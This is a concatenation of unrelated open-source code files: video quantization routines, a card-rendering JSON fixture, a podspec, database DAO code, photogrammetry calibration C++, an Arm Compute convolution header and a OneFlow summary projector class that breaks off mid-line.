rdpcmMode); } } //#define QUANT_IQUANT_SHIFT 20 // Q(QP%6) * IQ(QP%6) = 2^20 #define QUANT_SHIFT 14 // Q(4) = 2^14 //#define SCALE_BITS 15 // Inherited from TMuC, pressumably for fractional bit estimates in RDOQ #define MAX_TR_DYNAMIC_RANGE 15 // Maximum transform dynamic range (excluding sign bit) const static uint16_t g_quantScales[6] = { 26214,23302,20560,18396,16384,14564 }; void quant_coefficients(//encoder_context* ectx, int16_t* out_coeff, const int16_t* in_coeff, int log2TrSize, int qp, bool intra) { const int qpDiv6 = qp / 6; const int qpMod6 = qp % 6; //int uiLog2TrSize = xLog2( iWidth - 1); int uiQ = g_quantScales[qpMod6]; int bitDepth = 8; int transformShift = MAX_TR_DYNAMIC_RANGE - bitDepth - log2TrSize; // Represents scaling through forward transform int qBits = QUANT_SHIFT + qpDiv6 + transformShift; /* TODO: originally, this was checking for intra slices, why not for intra mode ? */ int rnd = (intra ? 171 : 85) << (qBits-9); int x, y; int uiAcSum = 0; int nStride = (1<<log2TrSize); for (y=0; y < (1<<log2TrSize) ; y++) { for (x=0; x < (1<<log2TrSize) ; x++) { int level; int sign; int blockPos = y * nStride + x; level = in_coeff[blockPos]; //logtrace(LogTransform,"(%d,%d) %d -> ", x,y,level); sign = (level < 0 ? -1: 1); level = (abs_value(level) * uiQ + rnd ) >> qBits; uiAcSum += level; level *= sign; out_coeff[blockPos] = Clip3(-32768, 32767, level); //logtrace(LogTransform,"%d\n", out_coeff[blockPos]); } } } void dequant_coefficients(int16_t* out_coeff, const int16_t* in_coeff, int log2TrSize, int qP) { const int m_x_y = 1; int bitDepth = 8; int bdShift = bitDepth + log2TrSize - 5; bdShift -= 4; // this is equivalent to having a m_x_y of 16 and we can use 32bit integers const int offset = (1<<(bdShift-1)); const int fact = m_x_y * levelScale[qP%6] << (qP/6); int blkSize = (1<<log2TrSize); int nCoeff = (1<<(log2TrSize<<1)); for (int i=0;i<nCoeff;i++) { // usually, this needs to be 64bit, but because we modify the shift above, we can use 16 bit int32_t currCoeff = in_coeff[i]; //logtrace(LogTransform,"coefficient[%d] = %d\n",i,currCoeff); currCoeff = Clip3(-32768,32767, ( (currCoeff * fact + offset ) >> bdShift)); //logtrace(LogTransform," -> %d\n",currCoeff); out_coeff[i] = currCoeff; } }
10,948
743
<filename>source/uwp/AdaptiveCardTestApp/Expected/v1.0.Scenarios.SolitaireToJson.json<gh_stars>100-1000 {"actions":[],"backgroundImage":"https://download-ssl.msgamestudios.com/content/mgs/ce/production/SolitaireWin10/dev/adapative_card_assets/v1/card_background.png","body":[{"columns":[{"items":[{"altText":"Spider cover showing a spider web","size":"Stretch","type":"Image","url":"https://download-ssl.msgamestudios.com/content/mgs/ce/production/SolitaireWin10/dev/adapative_card_assets/v1/tile_spider.png"}],"type":"Column","width":"1"},{"items":[{"color":"Light","horizontalAlignment":"center","text":"Click here to play another game of Spider in Microsoft Solitaire Collection!","type":"TextBlock","weight":"Bolder","wrap":true}],"type":"Column","width":"1"}],"type":"ColumnSet"}],"type":"AdaptiveCard","version":"0.5"}
248
453
<reponame>The0x539/wasp _trap3() { } __trap3(a1,a2,a3,a4,a5,a6) { asm ("ldx #r0"); asm ("wdm"); }
73
1,511
/* gzlog.h Copyright (C) 2004, 2008 <NAME>, all rights reserved version 2.0, 25 Apr 2008
32
5,169
<filename>Specs/6/7/5/FloatingAudioPlayer/0.1.0/FloatingAudioPlayer.podspec.json { "name": "FloatingAudioPlayer", "version": "0.1.0", "summary": "FloatingAudioPlayer is lightweight floating/draggable Audio Player View written in Swift.", "description": "A Swift floating/draggable audio player like in Spotify & Apple Music apps that remains on top of all screens.", "homepage": "https://github.com/pernebayevz/FloatingAudioPlayer", "license": { "type": "MIT", "file": "LICENSE" }, "authors": { "pernebayevz": "<EMAIL>" }, "source": { "git": "https://github.com/pernebayevz/FloatingAudioPlayer.git", "tag": "0.1.0" }, "social_media_url": "https://www.instagram.com/pernebayevz/", "platforms": { "ios": "12.0" }, "source_files": "Source/**/*.swift", "resource_bundles": { "FloatingAudioPlayer": [ "Source/**/*.{xib,xcassets}" ] }, "frameworks": "UIKit", "swift_versions": [ "5.0" ], "swift_version": "5.0" }
397
604
<gh_stars>100-1000 #include <gtest/gtest.h> #include <ros/ros.h> int main(int argc, char** argv) { ros::init(argc, argv, "elevation_mapping"); ros::start(); // To make use of ROS time in output macros. testing::InitGoogleTest(&argc, argv); int res = RUN_ALL_TESTS(); ros::shutdown(); return res; }
128
368
package com.mogujie.tt.DB.dao; import android.database.sqlite.SQLiteDatabase; import java.util.Map; import de.greenrobot.dao.AbstractDao; import de.greenrobot.dao.AbstractDaoSession; import de.greenrobot.dao.identityscope.IdentityScopeType; import de.greenrobot.dao.internal.DaoConfig; import com.mogujie.tt.DB.entity.DepartmentEntity; import com.mogujie.tt.DB.entity.UserEntity; import com.mogujie.tt.DB.entity.GroupEntity; import com.mogujie.tt.DB.entity.MessageEntity; import com.mogujie.tt.DB.entity.SessionEntity; import com.mogujie.tt.DB.dao.DepartmentDao; import com.mogujie.tt.DB.dao.UserDao; import com.mogujie.tt.DB.dao.GroupDao; import com.mogujie.tt.DB.dao.MessageDao; import com.mogujie.tt.DB.dao.SessionDao; // THIS CODE IS GENERATED BY greenDAO, DO NOT EDIT. /** * {@inheritDoc} * * @see de.greenrobot.dao.AbstractDaoSession */ public class DaoSession extends AbstractDaoSession { private final DaoConfig departmentDaoConfig; private final DaoConfig userDaoConfig; private final DaoConfig groupDaoConfig; private final DaoConfig messageDaoConfig; private final DaoConfig sessionDaoConfig; private final DepartmentDao departmentDao; private final UserDao userDao; private final GroupDao groupDao; private final MessageDao messageDao; private final SessionDao sessionDao; public DaoSession(SQLiteDatabase db, IdentityScopeType type, Map<Class<? extends AbstractDao<?, ?>>, DaoConfig> daoConfigMap) { super(db); departmentDaoConfig = daoConfigMap.get(DepartmentDao.class).clone(); departmentDaoConfig.initIdentityScope(type); userDaoConfig = daoConfigMap.get(UserDao.class).clone(); userDaoConfig.initIdentityScope(type); groupDaoConfig = daoConfigMap.get(GroupDao.class).clone(); groupDaoConfig.initIdentityScope(type); messageDaoConfig = daoConfigMap.get(MessageDao.class).clone(); messageDaoConfig.initIdentityScope(type); sessionDaoConfig = daoConfigMap.get(SessionDao.class).clone(); sessionDaoConfig.initIdentityScope(type); departmentDao = new DepartmentDao(departmentDaoConfig, this); userDao = new UserDao(userDaoConfig, this); groupDao = new GroupDao(groupDaoConfig, this); messageDao = new MessageDao(messageDaoConfig, this); sessionDao = new SessionDao(sessionDaoConfig, this); registerDao(DepartmentEntity.class, departmentDao); registerDao(UserEntity.class, userDao); registerDao(GroupEntity.class, groupDao); registerDao(MessageEntity.class, messageDao); registerDao(SessionEntity.class, sessionDao); } public void clear() { departmentDaoConfig.getIdentityScope().clear(); userDaoConfig.getIdentityScope().clear(); groupDaoConfig.getIdentityScope().clear(); messageDaoConfig.getIdentityScope().clear(); sessionDaoConfig.getIdentityScope().clear(); } public DepartmentDao getDepartmentDao() { return departmentDao; } public UserDao getUserDao() { return userDao; } public GroupDao getGroupDao() { return groupDao; } public MessageDao getMessageDao() { return messageDao; } public SessionDao getSessionDao() { return sessionDao; } }
1,318
451
/*Header-MicMac-eLiSe-25/06/2007 MicMac : Multi Image Correspondances par Methodes Automatiques de Correlation eLiSe : ELements of an Image Software Environnement www.micmac.ign.fr Copyright : Institut Geographique National Author : <NAME> Contributors : <NAME>, <NAME>. [1] <NAME>, <NAME>. "A multiresolution and optimization-based image matching approach: An application to surface reconstruction from SPOT5-HRS stereo imagery." In IAPRS vol XXXVI-1/W41 in ISPRS Workshop On Topographic Mapping From Space (With Special Emphasis on Small Satellites), Ankara, Turquie, 02-2006. [2] <NAME>, "MicMac, un lociel de mise en correspondance d'images, adapte au contexte geograhique" to appears in Bulletin d'information de l'Institut Geographique National, 2007. Francais : MicMac est un logiciel de mise en correspondance d'image adapte au contexte de recherche en information geographique. Il s'appuie sur la bibliotheque de manipulation d'image eLiSe. Il est distibue sous la licences Cecill-B. Voir en bas de fichier et http://www.cecill.info. English : MicMac is an open source software specialized in image matching for research in geographic information. MicMac is built on the eLiSe image library. MicMac is governed by the "Cecill-B licence". See below and http://www.cecill.info. Header-MicMac-eLiSe-25/06/2007*/ /* */ #include "StdAfx.h" /************************************************************/ /* */ /* cBlockEtal */ /* */ /************************************************************/ void cBlockEtal::AddEtal(const cParamEtal & aParam) { cEtalonnage *pEt = new cEtalonnage(mIsLastEtape,aParam,this); pEt->InitNormDrad(cEtalonnage::TheNameDradFinale); if (pE0 == 0) pE0 = pEt; mEtals.push_back(pEt); } cBlockEtal::cBlockEtal(bool isLastEtape,const cParamEtal & aParam,bool AddAll) : mIsLastEtape (isLastEtape), mSet (aParam.TypeSysResolve()), mParam (aParam), pE0 (0) { if (AddAll) { AddEtal(aParam); const std::vector<std::string>& vEt = aParam.CamRattachees(); for ( std::vector<std::string>::const_iterator iE = vEt.begin(); iE != vEt.end(); iE++ ) AddEtal(cParamEtal::FromStr(*iE)); } } cSetEqFormelles & cBlockEtal::Set() { return mSet; } void cEtalonnage::TestEpip ( Video_Win aW, Pt2dr aP, Pt2dr P2, const std::string & aName, CpleEpipolaireCoord* aCpl, bool Im1, bool show ) { REAL Zoom = 1; aW = aW.chc(Pt2dr(0,0),Pt2dr(Zoom,Zoom)); Pt2di aDec = Pt2di(aP - aW.sz()/(2*Zoom)); ELISE_COPY ( aW.all_pts(), // Tiff_Im(aName.c_str()).in(), trans(Tiff_Im(aName.c_str()).in(0),aDec), aW.ogray() ); cout << "DEC = " << aDec << " SZ " << aW.sz() << "\n"; aW.draw_circle_loc(aP-Pt2dr(aDec),2.0,aW.pdisc()(P8COL::red)); REAL Step = 50; for (REAL Pax = -3000; Pax <= 3000 ; Pax += Step) { Pt2dr aQ1 = aCpl->Homol(P2,Pt2dr(Pax,0),!Im1); if (show && (ElAbs(Pax<75))) { cout << P2 << " " << Pax << " = " << aQ1 << "\n"; } Pt2dr aQ2 = aCpl->Homol(P2,Pt2dr(Pax+Step,0),!Im1); aW.draw_seg(aQ1-Pt2dr(aDec),aQ2-Pt2dr(aDec),aW.pdisc()(P8COL::blue)); aQ1 = aCpl->Homol(P2,Pt2dr(Pax,-20),!Im1); aQ2 = aCpl->Homol(P2,Pt2dr(Pax,20),!Im1); aW.draw_seg(aQ1-Pt2dr(aDec),aQ2-Pt2dr(aDec),aW.pdisc()(P8COL::green)); } } void cEtalonnage::WriteCamDRad(const std::string & aShortName) { std::string aName = mParam.Directory() + aShortName + ".eor"; ELISE_fp aFile(aName.c_str(),ELISE_fp::WRITE); pCamDRad->write(aFile); aFile.close(); } static std::vector<double> NoParAdd; void cBlockEtal::TestMultiRot(INT K1,INT K2) { cout << "SIZ " << mEtals.size() << " " << K1 << " " << K2 << "\n"; cEtalonnage * E1 = AT(mEtals,K1) ; // .at(K1); cEtalonnage * E2 = AT(mEtals,K2) ; // .at(K2); const std::vector<std::string>&VC=mParam.AllImagesCibles(); ElRotation3D R0 (Pt3dr(0,0,0),0,0,0); std::string Ref = AT(VC,2); ElRotation3D R1 = E1->GetBestRotEstim(Ref); ElRotation3D R2 = E2->GetBestRotEstim(Ref); R0 = R1 * R2.inv(); for ( std::vector<std::string>::const_iterator itC = VC.begin(); itC != VC.end(); itC++ ) { ElRotation3D R1 = E1->GetBestRotEstim(*itC); ElRotation3D R2 = E2->GetBestRotEstim(*itC); // Matrice de passage R2 vers R1 ElRotation3D R = R1 * R2.inv(); ElRotation3D RDif = R0 * R.inv(); cout << "Name " << *itC << R.tr() << " TR = " << euclid(R.tr()-R0.tr()) << " ANGLES = " << RDif.teta01() << " " << RDif.teta02() << " " << RDif.teta12() << " " << "\n"; } cout << "COPt" << R0.ImAff(Pt3dr(0,0,0)) << "\n"; cout << "OX : " << R0.ImVect(Pt3dr(1.0,0.0,0.0)) << "\n"; cout << "OY : " << R0.ImVect(Pt3dr(0.0,1.0,0.0)) << "\n"; cout << "OZ : " << R0.ImVect(Pt3dr(0.0,0.0,1.0)) << "\n"; ElRotation3D RInv = R0.inv(); cout << "COPt" << RInv.ImAff(Pt3dr(0,0,0)) << "\n"; cout << "OX : " << RInv.ImVect(Pt3dr(1.0,0.0,0.0)) << "\n"; cout << "OY : " << RInv.ImVect(Pt3dr(0.0,1.0,0.0)) << "\n"; cout << "OZ : " << RInv.ImVect(Pt3dr(0.0,0.0,1.0)) << "\n"; // 2291 2502 1169 2551 if (true) { CamStenope & CR1 = *(E1->pCamDRad); CamStenope & CR2 = *(E2->pCamDRad); CR2.SetOrientation(RInv); E1->WriteCamDRad(E1->Param().NameCamera()+ E2->Param().NameCamera()); E2->WriteCamDRad(E2->Param().NameCamera()+ E1->Param().NameCamera()); CpleEpipolaireCoord * aCpl=0; CpleEpipolaireCoord * S_aCpl=0; REAL SCALE = 4.4; Video_Win W1 = Video_Win::WStd(Pt2di(100,100),5.0); Video_Win W2 = Video_Win::WStd(Pt2di(100,100),5.0); //bool first = true; while (true) { CamStenopeIdeale Cam1(true,1.0,Pt2dr(0,0),NoParAdd); CamStenopeIdeale Cam2(true,1.0,Pt2dr(0,0),NoParAdd); Cam2.SetOrientation(RInv); // BONS // 2964 3444 1921 3437 // 2467 2030 1188 2043 // // BOF // 2420 2023 2746 2042 // // 2420 2023 2746 2042 // Pt2dr p1(2420,2023),p2(2746,2042); Pt2dr p1(2467,2030),p2(1188,2043); // if ( !first) std::cin >> p1.x >> p1.y >> p2.x >> p2.y ; if (aCpl==0) { aCpl = CpleEpipolaireCoord::CamEpipolaire ( CR1,p1,CR2,p2,1.0 ); // S_aCpl = aCpl->MapingChScale(1/SCALE); S_aCpl = CpleEpipolaireCoord::CamEpipolaire ( CR1,p1,CR2,p2,1/SCALE ); } Pt2dr pN1 = E1->ToPN(p1); Pt2dr pN2 = E2->ToPN(p2); cout << pN1 << pN2 << "\n"; // ElSeg3D S1 = Cam1.F2toRayonR3(pN1); // ElSeg3D S2 = Cam2.F2toRayonR3(pN2); ElSeg3D S1 = CR1.F2toRayonR3(p1); ElSeg3D S2 = CR2.F2toRayonR3(p2); Pt3dr Q = S1.PseudoInter(S2); cout << Q << S1.DistDoite(Q) << " " << S2.DistDoite(Q) << "\n"; Pt2dr PtE1 = aCpl->EPI1().Direct(p1); Pt2dr PtE2 = aCpl->EPI2().Direct(p2); cout << "EPIP = " << PtE1 << " " << PtE2 << "\n"; cout << "INV EPIP = " << aCpl->EPI1().Inverse(PtE1) << " " << aCpl->EPI2().Inverse(PtE2) << "\n"; Pt2dr S_p1 = p1/SCALE; Pt2dr S_p2 = p2/SCALE; Pt2dr S_PtE1 = S_aCpl->EPI1().Direct(S_p1); Pt2dr S_PtE2 = S_aCpl->EPI2().Direct(S_p2); cout << "S_EPIP = " << S_PtE1 << " " << S_PtE2 << "\n"; cout << p1 << aCpl->Hom21(p2,Pt2dr(0,0)) << "\n"; cout << p2 << aCpl->Hom12(p1,Pt2dr(0,0)) << "\n"; const char * NQ = "/data1/FacadesIGN/Correl/Tmp/QueueReduc1.tif"; const char * NT = "/data1/FacadesIGN/Correl/Tmp/TeteReduc1.tif"; E1->TestEpip(W1,p1,p2,NQ,aCpl,true,false); E2->TestEpip(W2,p2,p1,NT,aCpl,false,false); //first = false; } } } void cBlockEtal::TestMultiRot() { TestMultiRot(0,1); } void cBlockEtal::TheTestMultiRot(bool isLastEtape,int argc,char ** argv) { cParamEtal aParam(argc,argv); cBlockEtal aBlock(true,aParam,true); aBlock.TestMultiRot(); } /*Footer-MicMac-eLiSe-25/06/2007 Ce logiciel est un programme informatique servant à la mise en correspondances d'images pour la reconstruction du relief. Ce logiciel est régi par la licence CeCILL-B soumise au droit français et respectant les principes de diffusion des logiciels libres. Vous pouvez utiliser, modifier et/ou redistribuer ce programme sous les conditions de la licence CeCILL-B telle que diffusée par le CEA, le CNRS et l'INRIA sur le site "http://www.cecill.info". En contrepartie de l'accessibilité au code source et des droits de copie, de modification et de redistribution accordés par cette licence, il n'est offert aux utilisateurs qu'une garantie limitée. Pour les mêmes raisons, seule une responsabilité restreinte pèse sur l'auteur du programme, le titulaire des droits patrimoniaux et les concédants successifs. A cet égard l'attention de l'utilisateur est attirée sur les risques associés au chargement, à l'utilisation, à la modification et/ou au développement et à la reproduction du logiciel par l'utilisateur étant donné sa spécificité de logiciel libre, qui peut le rendre complexe à manipuler et qui le réserve donc à des développeurs et des professionnels avertis possédant des connaissances informatiques approfondies. Les utilisateurs sont donc invités à charger et tester l'adéquation du logiciel à leurs besoins dans des conditions permettant d'assurer la sécurité de leurs systèmes et ou de leurs données et, plus généralement, à l'utiliser et l'exploiter dans les mêmes conditions de sécurité. Le fait que vous puissiez accéder à cet en-tête signifie que vous avez pris connaissance de la licence CeCILL-B, et que vous en avez accepté les termes. Footer-MicMac-eLiSe-25/06/2007*/
5,215
930
<reponame>PayYouDont/matecloud package vip.mate.core.common.exception; import org.springframework.http.HttpStatus; import static org.springframework.http.HttpStatus.INTERNAL_SERVER_ERROR; /** * 通用异常 * * @author pangu */ public class BaseException extends RuntimeException { private static final long serialVersionUID = 5782968730281544562L; private int status = INTERNAL_SERVER_ERROR.value(); public BaseException(String message) { super(message); } public BaseException(HttpStatus status, String message) { super(message); this.status = status.value(); } }
191
2,313
/* * Copyright (c) 2021 Arm Limited. * * SPDX-License-Identifier: MIT * * Permission is hereby granted, free of charge, to any person obtaining a copy * of this software and associated documentation files (the "Software"), to * deal in the Software without restriction, including without limitation the * rights to use, copy, modify, merge, publish, distribute, sublicense, and/or * sell copies of the Software, and to permit persons to whom the Software is * furnished to do so, subject to the following conditions: * * The above copyright notice and this permission notice shall be included in all * copies or substantial portions of the Software. * * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE * SOFTWARE. */ #ifndef ARM_COMPUTE_CPU_GEMMCONVOLUTION_H #define ARM_COMPUTE_CPU_GEMMCONVOLUTION_H #include "arm_compute/core/TensorInfo.h" #include "arm_compute/core/Types.h" #include "src/runtime/cpu/ICpuOperator.h" #include <memory> namespace arm_compute { namespace cpu { class CpuGemm; class CpuGemmLowpMatrixMultiplyCore; class CpuGemmLowpOutputStage; namespace kernels { class CpuWeightsReshapeKernel; class CpuIm2ColKernel; class CpuCol2ImKernel; class CpuReshapeKernel; } // namespace kernels /** Basic function to compute the convolution layer. This function calls the following kernels/functions: * * -# @ref cpu::kernels::CpuIm2ColKernel * -# @ref CpuGemm (if the data type is BFLOAT16/FP16/FP32) * -# @ref CpuGemmLowpMatrixMultiplyCore (if the data type is QASYMM8/QASYMM8_SIGNED) * -# @ref CpuGemmLowpOutputStage (if the data type is QASYMM8/QASYMM8_SIGNED) * -# @ref cpu::kernels::CpuCol2ImKernel (if NCHW data layout) * -# @ref kernels::CpuWeightsReshapeKernel * */ class CpuGemmConvolution : public ICpuOperator { public: /** Constructor */ CpuGemmConvolution(); /** Prevent instances of this class from being copied (As this class contains pointers) */ CpuGemmConvolution(const CpuGemmConvolution &) = delete; /** Prevent instances of this class from being moved (As this class contains non movable objects) */ CpuGemmConvolution(CpuGemmConvolution &&) = delete; /** Prevent instances of this class from being copied (As this class contains pointers) */ CpuGemmConvolution &operator=(const CpuGemmConvolution &) = delete; /** Prevent instances of this class from being moved (As this class contains non movable objects) */ CpuGemmConvolution &operator=(CpuGemmConvolution &&) = delete; /** Destructor */ ~CpuGemmConvolution(); /** Set the input and output tensors. * * Valid data layouts: * - NHWC * - NCHW * * Valid data type configurations: * |src0 |src1 |src2 |dst | * |:--------------|:------------------|:--------|:--------------| * |F16 |F16 |F16 |F16 | * |F32 |F32 |F32 |F32 | * |BFLOAT16 |BFLOAT16 |BFLOAT16 |BFLOAT16 | * |QASYMM8 |QASYMM8 |S32 |QASYMM8 | * |QASYMM8 |QSYMM8_PER_CHANNEL |S32 |QASYMM8 | * |QASYMM8_SIGNED |QASYMM8_SIGNED |S32 |QASYMM8_SIGNED | * |QASYMM8_SIGNED |QSYMM8_PER_CHANNEL |S32 |QASYMM8_SIGNED | * * @param[in] src Source tensor info. 3 lower dimensions represent a single input [width, height, IFM], * while every optional dimension from 4 and above represent a batch of inputs. * Data types supported: QASYMM8/QASYMM8_SIGNED/BFLOAT16/F16/F32. * @param[in] weights Weights tensor info. Weights are 4D tensor with dimensions [kernel_x, kernel_y, IFM, OFM]. * Data type supported: QASYMM8/QASYMM8_SIGNED/QSYMM8_PER_CHANNEL/BFLOAT16/F16/F32. * @param[in] biases Biases tensor info. Shared biases supported. Biases are 1D tensor with dimensions [OFM]. * Data type supported: Should match @p input data type, except for input of QASYMM8/QASYMM8_SIGNED type where biases should be of S32 type. * @param[out] dst Destination tensor info. 3 lower dimensions represent a single output [width, height, OFM], while the rest represent batch of outputs. * Data types supported: Same as @p input. * @param[in] conv_info Contains padding and stride information described in @ref PadStrideInfo. * @param[in] weights_info Specifies if the weights tensor has been reshaped with NEWeightsReshapeKernel. If this is not part of the fully connected layer the weights * tensor has also been transposed with cpu::kernels::CpuGemmTranspose1xWKernel. Data type supported: Same as @p input. * @param[in] dilation (Optional) Dilation, in elements, across x and y. Defaults to (1, 1). * @param[in] act_info (Optional) Activation layer information in case of a fused activation. Only RELU, BOUNDED_RELU and LU_BOUNDED_RELU supported. * @param[in] enable_fast_math (Optional) Enable fast math computation. In case this flag were set, the function could dispatch the fastest implementation * available which may introduce a drop of accuracy as well. Default is false * @param[in] num_groups (Optional) Number of groups when performing a grouped convolution. num_groups != 1 is not supported */ void configure(const ITensorInfo *src, const ITensorInfo *weights, const ITensorInfo *biases, ITensorInfo *dst, const PadStrideInfo &conv_info, const WeightsInfo &weights_info = WeightsInfo(), const Size2D &dilation = Size2D(1U, 1U), const ActivationLayerInfo &act_info = ActivationLayerInfo(), bool enable_fast_math = false, unsigned int num_groups = 1); /** Static function to check if given info will lead to a valid configuration * * Similar to CpuGemmConvolution::configure() * * @return a status */ static Status validate(const ITensorInfo *src, const ITensorInfo *weights, const ITensorInfo *biases, const ITensorInfo *output, const PadStrideInfo &conv_info, const WeightsInfo &weights_info = WeightsInfo(), const Size2D &dilation = Size2D(1U, 1U), const ActivationLayerInfo &act_info = ActivationLayerInfo(), bool enable_fast_math = false, unsigned int num_groups = 1); // Inherited methods overridden: void run(ITensorPack &tensors) override; void prepare(ITensorPack &tensors) override; experimental::MemoryRequirements workspace() const override; private: /** Configures the appropriate matrix multiply routine * * @param[in] src Input tensor info. Data types supported: QASYMM8/QASYMM8_SIGNED/BFLOAT16/F16/F32. * @param[in] weights Weights tensor info. Data type supported: QASYMM8/QASYMM8_SIGNED/QSYMM8_PER_CHANNEL/BFLOAT16/F16/F32. * @param[in] biases Biases tensor info. Shared biases supported. Biases are 1D tensor with dimensions [OFM]. * Data type supported: Should match @p input data type, except for input of QASYMM8/QASYMM8_SIGNED type where biases should be of S32 type. * @param[out] dst Output tensor info. Data types supported: Same as @p input, * except for input of QASYMM8/QASYMM8_SIGNED type where output should be of S32 type. * @param[in] act_info (Optional) Activation layer information in case of a fused activation. Only RELU, BOUNDED_RELU and LU_BOUNDED_RELU supported. * @param[in] enable_fast_math (Optional) Enable fast math computation. In case this flag were set, the function could dispatch the fastest implementation * available which may introduce a drop of accuracy as well. Default is false * @param[in] gemm_3d_depth (Optional) Depth of GEMM 3D (Defaults to 1) */ void configure_mm(const ITensorInfo *src, const ITensorInfo *weights, const ITensorInfo *biases, ITensorInfo *output, const ActivationLayerInfo &act_info = ActivationLayerInfo(), bool enable_fast_math = false, int gemm_3d_depth = 1); /** Static function to check if given info will lead to a valid configuration of @ref NEGEMMConvolutionLayer matrix multiply routines * * @param[in] src Input tensor info. Data types supported: QASYMM8/QASYMM8_SIGNED/BFLOAT16/F16/F32. * @param[in] weights Weights tensor info. Data type supported: QASYMM8/QASYMM8_SIGNED/QSYMM8_PER_CHANNEL/BFLOAT16/F16/F32. * @param[in] biases Biases tensor info. Shared biases supported. Biases are 1D tensor with dimensions [OFM]. * Data type supported: Should match @p input data type, except for input of QASYMM8/QASYMM8_SIGNED type where biases should be of S32 type. * @param[in] dst Output tensor info. Data types supported: Same as @p input, * except for input of QASYMM8/QASYMM8_SIGNED type where output should be of S32 type. * @param[in] act_info (Optional) Activation layer information in case of a fused activation. Only RELU, BOUNDED_RELU and LU_BOUNDED_RELU supported. * @param[in] enable_fast_math (Optional) Enable fast math computation. In case this flag were set, the function could dispatch the fastest implementation * available which may introduce a drop of accuracy as well. Default is false * @param[in] gemm_3d_depth (Optional) Depth of GEMM 3D (Defaults to 1) * @param[in] skip_im2col (Optional) Flag which specifies if im2col has to be skipped. i.e. 1x1 convolution with NHWC data layout. (Default to false) * * @return a status */ static Status validate_mm(const ITensorInfo *src, const ITensorInfo *weights, const ITensorInfo *biases, const ITensorInfo *dst, const ActivationLayerInfo &act_info = ActivationLayerInfo(), bool enable_fast_math = false, int gemm_3d_depth = 1, bool skip_im2col = false); /** Static function to check if GEMM3D is supported in @ref NEGEMM or in @ref CpuGemmMLowpMatrixMultiplyCore * * @param[in] src Input tensor info. Data types supported: QASYMM8/QASYMM8_SIGNED/BFLOAT16/F16/F32. * @param[in] weights Weights tensor info. Data types supported: QASYMM8/QASYMM8_SIGNED/BFLOAT16/F16/F32. * @param[in] act_info Activation layer information in case of a fused activation. Only RELU, BOUNDED_RELU and LU_BOUNDED_RELU supported. * @param[in] gemm_3d_depth Depth of GEMM 3D * @param[in] skip_im2col Flag which specifies if im2col has to be skipped. i.e. 1x1 convolution with NHWC data layout * * @return a status */ static Status validate_gemm3d(const ITensorInfo *src, const ITensorInfo *weights, const ActivationLayerInfo &act_info, int gemm_3d_depth, bool skip_im2col); enum AuxTensorIdx { // CpuGemmLowpMatrixMultiplyCore has up to 8 internal tensors Im2ColOutput = 9, WeightsReshaped, GemmOutput, Count }; std::unique_ptr<kernels::CpuWeightsReshapeKernel> _weights_reshape_kernel; std::unique_ptr<cpu::kernels::CpuIm2ColKernel> _im2col_kernel; std::unique_ptr<CpuGemm> _mm_gemm; std::unique_ptr<CpuGemmLowpMatrixMultiplyCore> _mm_gemmlowp; std::unique_ptr<kernels::CpuCol2ImKernel> _col2im_kernel; std::unique_ptr<kernels::CpuReshapeKernel> _reshape_kernel; TensorInfo _im2col_output; TensorInfo _weights_reshaped; TensorInfo _gemm_output; TensorInfo _gemm_output_3d; DataLayout _data_layout; bool _skip_im2col; bool _skip_col2im; bool _is_quantized; bool _is_prepared; experimental::MemoryRequirements _aux_mem{ Count }; }; } // namespace cpu } // namespace arm_compute #endif /* ARM_COMPUTE_CPU_GEMMCONVOLUTION_H */
5,019
3,285
<filename>python/oneflow/compatible/single_client/summary/summary_projector.py """ Copyright 2020 The OneFlow Authors. All rights reserved. Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with the License. You may obtain a copy of the License at http://www.apache.org/licenses/LICENSE-2.0 Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. """ import os import time from oneflow.compatible import single_client as flow from oneflow.core.summary import projector_pb2 as projector_pb2 class Projector(object): """The class of Projector This class can create an 'embedding_projector' or 'exception_projector' """ def __init__(self, logdir=None): """Create a Projector objector Args: logdir: The log dir Raises: Exception: If 'logdir' is None or illegal """ if logdir is None: raise Exception("logdir should not be None!") logdir += "/projector" if not os.path.exists(logdir): os.makedirs(logdir) self.logdir_ = logdir self.embedding_filename_ = None self.exception_filename_ = None def create_embedding_projector(self): if self.embedding_filename_ is not None and os.path.exists( self.embedding_filename_ ): raise OSError("You must create only one embedding projector!") self.embedding_filename_ = ( self.logdir_ + "/projector." + str(int(time.time())) + ".log" ) def create_exception_projector(self): if self.exception_filename_ is not None and os.path.exists( self.exception_filename_ ): raise OSError("You must create only one embedding projector!") self.exception_filename_ = ( self.logdir_ + "/projector.gradit." + str(int(time.time())) + ".log" ) @property def logdir(self): return self.logdir_ @property def exception_filename(self): return self.exception_filename_ @property def embedding_filename(self): return self.embedding_filename_ def write_projector(self, filename=None, projector=None): with open(filename, "wb") as f: f.write(projector.SerializeToString()) f.flush() def set_tensor(self, tensor: projector_pb2.Tensor, value): for d in value.shape: td = tensor.shape.dim.add() td.size = d tensor.dtype = str(value.dtype) tensor.content = value.tobytes() def set_projector(self, pro, tag, step, value, label=None): pro.tag = str(tag) pro.step = step pro.WALL_TIME = time.time() self.set_tensor(pro.value, value) if label is not None: self.set_tensor(pro.label, label) def set_sample(self, sample, name, x, sample_type): if name is not None: sample.name = name if sample_type == "image" or sample_type == "IMAGE": sample.type = projector_pb2.Sample.SampleType.IMAGE elif sample_type == "audio" or sample_type == "AUDIO": sample.type = projector_pb2.Sample.SampleType.AUDIO elif sample_type == "text" or sample_type == "TEXT": sample.type = projector_pb2.Sample.SampleType.TEXT else: raise NotImplementedError if x is not None: self.set_tensor(sample.X, x) def embedding_projector( self, value=None, label=None, tag=None, step=None, sample_name=None, sample_type=None, x=None, ): if tag is None: tag = "embedding_projector" summary_projector = projector_pb2.SummaryProjector() summary_projector.metadata.type = projector_pb2.MetaData.ProjectorType.EMBEDDING projector = 